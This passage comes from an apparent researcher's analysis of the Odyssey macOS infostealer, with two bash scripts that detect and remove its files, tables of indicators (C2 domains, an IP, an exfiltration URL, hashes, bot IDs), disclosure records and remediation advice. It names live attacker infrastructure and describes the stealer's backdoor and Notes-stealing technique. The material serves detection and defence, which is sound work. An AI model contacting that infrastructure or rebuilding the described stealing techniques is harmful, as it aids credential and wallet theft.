for s in "${NET_IOCS[@]}"; do
say "Scanning unified logs for '$s'..."
# Run the log search once per target and save it to memory (much faster on macOS 14+)
hits=$(log show --last "$LOG_LOOKBACK" --predicate "eventMessage CONTAINS[c] '$s'" 2>/dev/null | grep -i "$s" || true)
if [ -n "$hits" ]; then
hit "Found network activity for '$s' in unified logs within last $LOG_LOOKBACK"
echo "$hits" | tail -10 | sed 's/^/ /'
else
ok "No '$s' found in unified logs within last $LOG_LOOKBACK"
fi
done
else
warn "macOS log command not available"
fi
section "Gatekeeper status"
GK_STATUS="$(spctl --status 2>/dev/null || true)"
say " $GK_STATUS"
if echo "$GK_STATUS" | grep -qi "disabled"; then
hit "Gatekeeper assessments are disabled"
else
ok "Gatekeeper assessments are enabled or status unavailable"
fi
section "Current active connections and listening ports"
# 1. Check for active outbound connections to known bad IPs/Domains
if command -v lsof >/dev/null 2>&1; then
if lsof -i -n -P 2>/dev/null | grep -E "charge0x\.at|ukdsopas\.at|192\.253\.248\.181" >/tmp/xdivcmp_net.$$; then
hit "Found active outbound network connection matching known IoCs"
sed 's/^/ /' /tmp/xdivcmp_net.$$
else
ok "No active outbound lsof connection to known IoCs found"
fi
rm -f /tmp/xdivcmp_net.$$
fi
# 2. Check for suspicious listening ports (The SOCKS5 proxy or Reverse Shell)
# Even if disconnected from the internet, the malware may be listening locally
say "Checking for suspicious local listening ports..."
LISTENING_PORTS=$(lsof -i -P -n 2>/dev/null | grep LISTEN | grep -v "com.apple" || true)
if [ -n "$LISTENING_PORTS" ]; then
warn "Found non-Apple processes listening on network ports (Review these):"
echo "$LISTENING_PORTS" | sed 's/^/ /'
else
ok "No suspicious third-party listening ports found."
fi
section "Verdict"
if [ "$FOUND" -eq 1 ]; then
say "RESULT: KNOWN IOCS FOUND."
say "Treat this Mac as compromised. Change passwords from a different clean device."
elif [ "$SUSPICIOUS" -eq 1 ]; then
say "RESULT: No hard IoC found, but warnings occurred."
say "This does not prove the Mac is clean."
else
say "RESULT: No known malware IoCs found by this script."
say "This does not prove the Mac is clean; it only checks known infection patterns."
fi
if [ "$CLEAN" -ne 1 ]; then
section "No cleanup performed"
say "To clean known IoCs, run:"
say " sudo $0 --clean"
exit 0
fi
section "Cleanup mode: evidence backup"
EVIDENCE_DIR="/Users/Shared/odyssey-evidence-$(timestamp)"
mkdir -p "$EVIDENCE_DIR"
backup_item() {
item="$1"
if [ -e "$item" ]; then
say " Backing up: $item"
ditto "$item" "$EVIDENCE_DIR/$(basename "$item")" 2>/dev/null || cp -R "$item" "$EVIDENCE_DIR/" 2>/dev/null || true
fi
}
backup_item "$INSTALL_APP"
backup_item "$LAUNCHD_PLIST"
for f in "${DOTFILES[@]}"; do
backup_item "$f"
done
if [ -d "$EVIDENCE_DIR" ]; then
say "Evidence copied to: $EVIDENCE_DIR"
/usr/bin/zip -qry "$EVIDENCE_DIR.zip" "$EVIDENCE_DIR" 2>/dev/null && say "Evidence zip: $EVIDENCE_DIR.zip"
fi
section "Cleanup mode: unload persistence and kill processes"
launchctl bootout system "$LAUNCHD_PLIST" 2>/dev/null || true
launchctl remove system/com.xdivcmp 2>/dev/null || true
# Kill the active AppleScript and Bash loops spawned by the malware
say " Killing active malware processes..."
pkill -f "xxxblyat" 2>/dev/null || true
pkill -f "com.xdivcmp" 2>/dev/null || true
pkill -f "/tmp/socks" 2>/dev/null || true
pkill -f "lksopo" 2>/dev/null || true
section "Cleanup mode: remove known IoCs"
remove_item() {
item="$1"
if [ -e "$item" ]; then
say " Removing: $item"
rm -rf "$item"
fi
}
remove_item "$INSTALL_APP"
remove_item "$LAUNCHD_PLIST"
for f in "${DOTFILES[@]}"; do
remove_item "$f"
done
# Remove known temp files dropped by the malware
say " Removing malware staging files in /tmp/..."
rm -f /tmp/socks 2>/dev/null || true
rm -rf /tmp/lksopo 2>/dev/null || true
rm -f /tmp/lksopo.zip 2>/dev/null || true
section "Cleanup mode: re-enable Gatekeeper"
spctl --master-enable 2>/dev/null || true
spctl --status 2>/dev/null | sed 's/^/ /' || true
section "Cleanup complete"
say "Known IoCs were removed if present."
say ""
say "Important next steps:"
say " 1. Reboot the Mac."
say " 2. Run this script again in detect-only mode."
say " 3. Change passwords from a different clean device."
say " 4. Revoke browser sessions, email sessions, Apple ID sessions, GitHub/API tokens, SSH keys, and crypto wallet seeds."
say " 5. Strongly consider erase/reinstall macOS instead of trusting cleanup alone."
10.1 IoCs Checked
| Type | IoC |
|---|---|
| Files | /Library/Application Support/Install.app |
| Files | /Library/LaunchDaemons/com.xdivcmp.plist |
| Dotfiles | ~/.pwd, ~/.phost, ~/.bhost, ~/.username, ~/.botid, ~/.lastaction, ~/.uninstalled |
| Temp files | /tmp/lksopo, /tmp/lksopo.zip, /tmp/socks |
| Domains | charge0x.at, ukdsopas.at |
| IPs | 192.253.248.181 |
| Strings | xxxblyat, xdivcmp, com.xdivcmp, /web/socks, lksopo |
| Processes | xxxblyat, com.xdivcmp, /tmp/socks, lksopo |
10.2 Script Usage
# Detect only (safe, changes nothing)
sudo ./detect_odyssey_mac.sh
# Cleanup (backup evidence, kill processes, remove IoCs)
sudo ./detect_odyssey_mac.sh --clean
The script recommends erasing and reinstalling macOS; it does not perform that operation. For a confirmed infection with the doshell backdoor, removing the listed indicators alone cannot establish what other commands or payloads ran.
11. External Drive Forensic Script
A separate script (detect_external_mac.sh) is retained for scanning external drives. It assumes a conventional macOS directory layout, checks the older Install.app path, and does not establish that every backup snapshot has been examined. Its optional --clean mode deletes indicators without first backing them up, and its closing instructions say to erase the drive. Those are historical instructions, not a reason to destroy the only forensic copy. Preserve that copy and plan any recovery or cleanup separately.
#!/bin/bash
#
# detect_external_mac.sh
#
# Forensically scans an external macOS hard drive or backup for Odyssey Stealer / xdivcmp IoCs.
#
# Usage: sudo ./detect_external_mac.sh "/Volumes/NameOfExternalDrive"
#
set -u
# ============================================================
# INPUT VALIDATION
# ============================================================
TARGET_VOL="${1:-}"
if [ -z "$TARGET_VOL" ] || [ ! -d "$TARGET_VOL" ]; then
printf '\n'
printf 'ERROR: You must provide the path to the external drive.\n'
printf 'Usage: sudo %s "/Volumes/NameOfExternalDrive"\n' "$0"
printf '\n'
printf 'To find your drive name, open Finder and look in the left sidebar,\n'
printf 'or type: ls /Volumes/\n'
printf '\n'
exit 1
fi
if [ "$(id -u)" -ne 0 ]; then
printf 'ERROR: This script requires administrator (root) privileges to read external drives.\n'
printf 'Please run: sudo %s "%s"\n' "$0" "$TARGET_VOL"
exit 1
fi
# ============================================================
# OPENING WARNING
# ============================================================
printf '\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '!! !!\n'
printf '!! EXTERNAL DRIVE FORENSIC SCANNER !!\n'
printf '!! !!\n'
printf '!! Target Drive: %-48s !!\n' "$TARGET_VOL"
printf '!! !!\n'
printf '!! This script will scan the dormant files on this drive. !!\n'
printf '!! It will NOT check live network connections or active memory, !!\n'
printf '!! because this drive is not the active operating system. !!\n'
printf '!! !!\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '\n'
sleep 3
CLEAN=0
if [ "${2:-}" = "--clean" ]; then
CLEAN=1
fi
FOUND=0
SUSPICIOUS=0
timestamp() {
date +"%Y-%m-%d_%H-%M-%S"
}
say() {
printf '%s\n' "$*"
}
hit() {
FOUND=1
printf ' [HIT] %s\n' "$*"
}
warn() {
SUSPICIOUS=1
printf ' [WARN] %s\n' "$*"
}
ok() {
printf ' [OK] %s\n' "$*"
}
section() {
printf '\n==== %s ====\n' "$*"
}
# ============================================================
# DISCOVER USERS ON EXTERNAL DRIVE
# ============================================================
section "Step 1 of 5: Locating User Accounts on the External Drive"
say "I am looking inside the 'Users' folder on the external drive to find"
say "which user accounts might be infected..."
say ""
TARGET_USERS=()
if [ -d "$TARGET_VOL/Users" ]; then
for d in "$TARGET_VOL/Users"/*; do
if [ -d "$d" ]; then
bname=$(basename "$d")
if [ "$bname" != "Shared" ] && [ "$bname" != "Guest" ] && [ "$bname" != ".localized" ]; then
TARGET_USERS+=("$d")
say " Found user account on external drive: $bname"
fi
fi
done
else
warn "Could not find a standard '/Users' folder on this drive."
say " This might be a data-only drive, or a Time Machine backup (which hides user folders)."
fi
if [ ${#TARGET_USERS[@]} -eq 0 ]; then
warn "No standard user folders found. I will still scan system folders."
fi
# ============================================================
# FILE SYSTEM CHECKS
# ============================================================
section "Step 2 of 5: Checking for known malware files on the external drive"
say "Scanning system folders on the external drive for malware components..."
say ""
INSTALL_APP="$TARGET_VOL/Library/Application Support/Install.app"
LAUNCHD_PLIST="$TARGET_VOL/Library/LaunchDaemons/com.xdivcmp.plist"
say " Checking for the fake 'Install.app'..."
if [ -e "$INSTALL_APP" ]; then
hit "FOUND the fake Install.app on the external drive!"
ls -ld "$INSTALL_APP" 2>/dev/null | sed 's/^/ /'
else
ok "The fake Install.app was NOT found."
fi
say ""
say " Checking for the malicious startup file (LaunchDaemon)..."
if [ -e "$LAUNCHD_PLIST" ]; then
hit "FOUND the malicious startup file on the external drive!"
say " If this is a bootable clone, it will infect the Mac on next boot."
sed 's/^/ /' "$LAUNCHD_PLIST" 2>/dev/null || true
else
ok "The malicious startup file was NOT found."
fi
# ============================================================
# USER DOTFILES CHECK
# ============================================================
section "Step 3 of 5: Checking for hidden tracking files in user folders"
say "Looking for the tiny hidden files the malware uses to track the victim..."
say ""
DOTFILES=(
".pwd"
".phost"
".bhost"
".username"
".botid"
".lastaction"
".uninstalled"
)
for u in "${TARGET_USERS[@]}"; do
say " Scanning user: $(basename "$u")"
for f in "${DOTFILES[@]}"; do
filepath="$u/$f"
if [ -e "$filepath" ]; then
hit "FOUND hidden malware file: $filepath"
ls -l "$filepath" 2>/dev/null | sed 's/^/ /'
fi
done
done
# ============================================================
# PERSISTENCE STRING SEARCH
# ============================================================
section "Step 4 of 5: Scanning startup folders for hidden malware references"
say "Reading startup files on the external drive to search for malware keywords..."
say "This may take a minute."
say ""
IOC_STRINGS=(
"charge0x.at"
"ukdsopas.at"
"192.253.248.181"
"xdivcmp"
"com.xdivcmp"
"xxxblyat"
"/web/socks"
"lksopo"
)
PERSISTENCE_DIRS=(
"$TARGET_VOL/Library/LaunchAgents"
"$TARGET_VOL/Library/LaunchDaemons"
)
# Add user launch agents
for u in "${TARGET_USERS[@]}"; do
PERSISTENCE_DIRS+=("$u/Library/LaunchAgents")
done
for d in "${PERSISTENCE_DIRS[@]}"; do
if [ -d "$d" ]; then
for s in "${IOC_STRINGS[@]}"; do
matches="$(grep -RIl "$s" "$d" 2>/dev/null || true)"
if [ -n "$matches" ]; then
hit "Found the malware keyword '$s' hidden inside a startup file on the external drive!"
printf '%s\n' "$matches" | sed 's/^/ /'
fi
done
fi
done
say " Startup folder scan complete."
# ============================================================
# VERDICT & CLEANUP
# ============================================================
section "Step 5 of 5: Final Verdict"
printf '\n'
if [ "$FOUND" -eq 1 ]; then
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '!! !!\n'
printf '!! *** EXTERNAL DRIVE IS INFECTED *** !!\n'
printf '!! !!\n'
printf '!! Known malware files or backdoors were found on this drive. !!\n'
printf '!! !!\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
elif [ "$SUSPICIOUS" -eq 1 ]; then
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '!! *** SUSPICIOUS ACTIVITY DETECTED *** !!\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
else
say "RESULT: No known malware indicators were found on this external drive."
say "Note: This does not guarantee the drive is 100% clean, only that"
say "the specific Odyssey/xdivcmp malware fingerprints were not found."
fi
if [ "$CLEAN" -eq 1 ] && [ "$FOUND" -eq 1 ]; then
section "Cleanup: Removing known malware files from external drive"
say "Deleting known malware files from $TARGET_VOL..."
[ -e "$INSTALL_APP" ] && rm -rf "$INSTALL_APP" && say " Deleted: $INSTALL_APP"
[ -e "$LAUNCHD_PLIST" ] && rm -f "$LAUNCHD_PLIST" && say " Deleted: $LAUNCHD_PLIST"
for u in "${TARGET_USERS[@]}"; do
for f in "${DOTFILES[@]}"; do
filepath="$u/$f"
[ -e "$filepath" ] && rm -f "$filepath" && say " Deleted: $filepath"
done
done
say "Cleanup complete."
fi
# ============================================================
# CRITICAL FINAL INSTRUCTIONS
# ============================================================
section "CRITICAL NEXT STEPS - READ CAREFULLY"
printf '\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '!! !!\n'
printf '!! DO NOT USE THIS EXTERNAL DRIVE TO RESTORE YOUR MAC. !!\n'
printf '!! !!\n'
printf '!! If this is a Time Machine or Bootable Clone backup, the !!\n'
printf '!! malware is likely baked into older backup snapshots that !!\n'
printf '!! this script cannot reach. Restoring from this drive will !!\n'
printf '!! simply re-infect your clean Mac. !!\n'
printf '!! !!\n'
printf '!! YOU MUST ERASE THIS EXTERNAL DRIVE. !!\n'
printf '!! !!\n'
printf '!! 1. Open 'Disk Utility' on your clean Mac. !!\n'
printf '!! 2. Select the external drive on the left sidebar. !!\n'
printf '!! 3. Click 'Erase' at the top (Format: APFS or Mac OS Extended).!!\n'
printf '!! 4. Once erased, the drive is safe to use again. !!\n'
printf '!! !!\n'
printf '!! If this is just a standard USB drive used for moving files: !!\n'
printf '!! - Move ONLY essential documents (PDFs, Images, Text) to a !!\n'
printf '!! clean computer. !!\n'
printf '!! - Do NOT move applications, scripts, or hidden folders. !!\n'
printf '!! - Erase the external drive immediately after. !!\n'
printf '!! !!\n'
printf '!! REMEMBER: Run a FULL scan with Malwarebytes on your clean !!\n'
printf '!! Mac, and keep your Mac disconnected from the internet until !!\n'
printf '!! you have changed all your passwords from a different device. !!\n'
printf '!! !!\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '\n'
This script:
- Scans the external drive’s
Usersfolder for dotfiles - Checks
/Library/LaunchDaemonsand/Library/LaunchAgentson the external drive - Prints a blanket instruction to erase Time Machine backups; the limited scan does not establish that every snapshot is infected or that the only evidence copy should be destroyed.
Usage:
sudo ./detect_external_mac.sh "/Volumes/MyDrive"
12. Indicators of Compromise
12.1 Network
| IoC | Type |
|---|---|
ukdsopas.at |
C2 domain |
192.253.248.181 |
C2 IP (PureVPN / Secure Internet LLC) |
http://ukdsopas.at/log |
Exfiltration endpoint |
User‑Agent: bot |
HTTP header |
panel_addr: http://ukdsopas.at |
HTTP header |
12.2 Host
| IoC | Type |
|---|---|
com.xdivcmp.plist |
LaunchDaemon persistence |
.IuN79Kxxpn |
Encrypted payload |
.botid, .pwd, .phost, .bhost, .username, .lastaction, .uninstalled |
Configuration dotfiles |
/tmp/lksopo/ |
Staging directory |
/tmp/lksopo.zip |
Exfiltration archive |
/tmp/socks |
SOCKS5 proxy binary |
Patch.app |
Malware binary |
xxxblyat |
Build ID / operator identifier |
newooble |
Affiliate/panel username |
12.3 Hashes
| Hash | Value |
|---|---|
| SHA‑256 (x86_64) | 1b19352e39817758951c4c99e2ec90501abe6b4b56d7467bfb49184197c4afd0 |
| SHA‑256 (fat binary) | 0174997b7eaa81de686d2f22534d8684a698bd1388ed7f15430f8b881ad32f1c |
| CDHash | 5a0029d7b775b584cfd1a87a49e0af44f17a58d8 |
12.4 Campaign Identifiers
| IoC | Value |
|---|---|
| Build ID | 909286c1d2fb4c5c97dfc22a486661c1 |
| Affiliate/panel username | newooble |
| app_id | xxxblyat |
| botid | 19a9ff38c1b24ffe8e5c54a91af203c8 |
13. Response and Disclosure
| Action | Recipient | Status |
|---|---|---|
| Cybercrime report | ACSC (ReportCyber) | Filed |
| Criminal report | Australian Federal Police | Filed |
| Identity fraud support | IDCARE | Engaged |
| Scam report | Scamwatch (ACCC) | Filed |
| Domain abuse | nic.at (.at registry) | Sent |
| IP abuse | btcloud.ro / PureVPN | Sent |
| Malware sample | VirusTotal | Both slices uploaded |
| C2 URL | URLhaus (abuse.ch) | Added |
| IP report | AbuseIPDB | Added |
| Fraud alert | Financial institution | Placed |
| Credit bans | Equifax, Experian, illion | Placed |
All credentials on the affected systems were rotated within 24 hours. Two‑factor authentication was enabled on all supported accounts. The infected machines were erased following forensic preservation.
14. Critical Remediation Steps
If you find IoCs on your Mac:
- DISCONNECT FROM THE INTERNET IMMEDIATELY. Turn off Wi‑Fi, unplug Ethernet.
- DO NOT enter any passwords or login to any accounts on this machine.
- Using a clean device, change ALL passwords (email, banking, crypto exchanges, social media) and revoke active sessions or tokens where the service allows it.
- Move ALL cryptocurrency funds to new wallets generated on a clean device.
- Run a Malwarebytes for Mac scan after preserving the evidence you need. Its normal scan focuses on locations likely to contain threats; a negative result is not proof that every file or payload has been checked.
- For a confirmed infection with this backdoor, the safest remediation is to erase the system and reinstall macOS from a known-good source after preserving any evidence you need. The
doshellcapability means cleanup of the known files alone cannot establish that no additional commands or payloads were executed. - After a fresh install, scan again and review the known indicators. The historical scripts above can provide limited checks, but should not be treated as proof that the system is clean.
- DO NOT reuse any passwords that were stored on this machine.
15. Conclusions
This sample demonstrates a mature macOS infostealer with several notable characteristics:
-
Broad target coverage. Fourteen browsers, sixteen software-wallet locations, the macOS Keychain, Apple Notes and Safari cookies. The recovered Ledger and Trezor ZIP names add application-related indicators; they do not establish that keys were extracted from hardware wallets.
-
Effective string obfuscation. The xorshift32-based scheme hides plaintext from a basic strings scan. I retained 379 strings using candidate-seed extraction, candidate-region testing, filtering and manual review.
-
Persistent backdoor capability. The
doshellcommand gives the attacker arbitrary shell-command execution in the malware’s execution context, enabling secondary payload deployment and theft beyond the automated stealer. -
The Apple Notes vector is underappreciated. The 969‑byte AppleScript that extracts all notes from all accounts is a significant privacy threat. Users routinely store passwords, recovery codes, and sensitive personal information in Notes.
-
The backdoor can bypass a blocked domain. Its bot API uses the raw IP in
.bhost(192.253.248.181), so blocking the panel domain in DNS does not stop that channel. The archive-upload command is separate and still usesukdsopas.at/log. -
The C2 infrastructure was reachable during later testing. The second infection showed that bot registration had succeeded, and subsequent manual polling with the recovered
.botid(19a9ff38c1b24ffe8e5c54a91af203c8) confirmed that the C2 returned valid responses at the times I tested it.
The sample and all associated IOCs have been submitted to VirusTotal, URLhaus, and the relevant national and infrastructure abuse contacts.
The author is an independent security researcher based in Australia. This analysis combined controlled execution tests with examination of preserved forensic evidence. The views expressed here are the author’s own. IOCs and samples are available to verified researchers on request.
Sources
- 0xlibris - Odyssey infostealer infection chain
- Censys - Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
- Jamf Threat Labs - Signed and stealing: uncovering new insights on Odyssey Infostealer
- Red Canary - A taxonomy of Mac stealers: Distinguishing Atomic, Odyssey, and Poseidon
- Malwarebytes - Run and schedule scans in Malwarebytes for Windows and Mac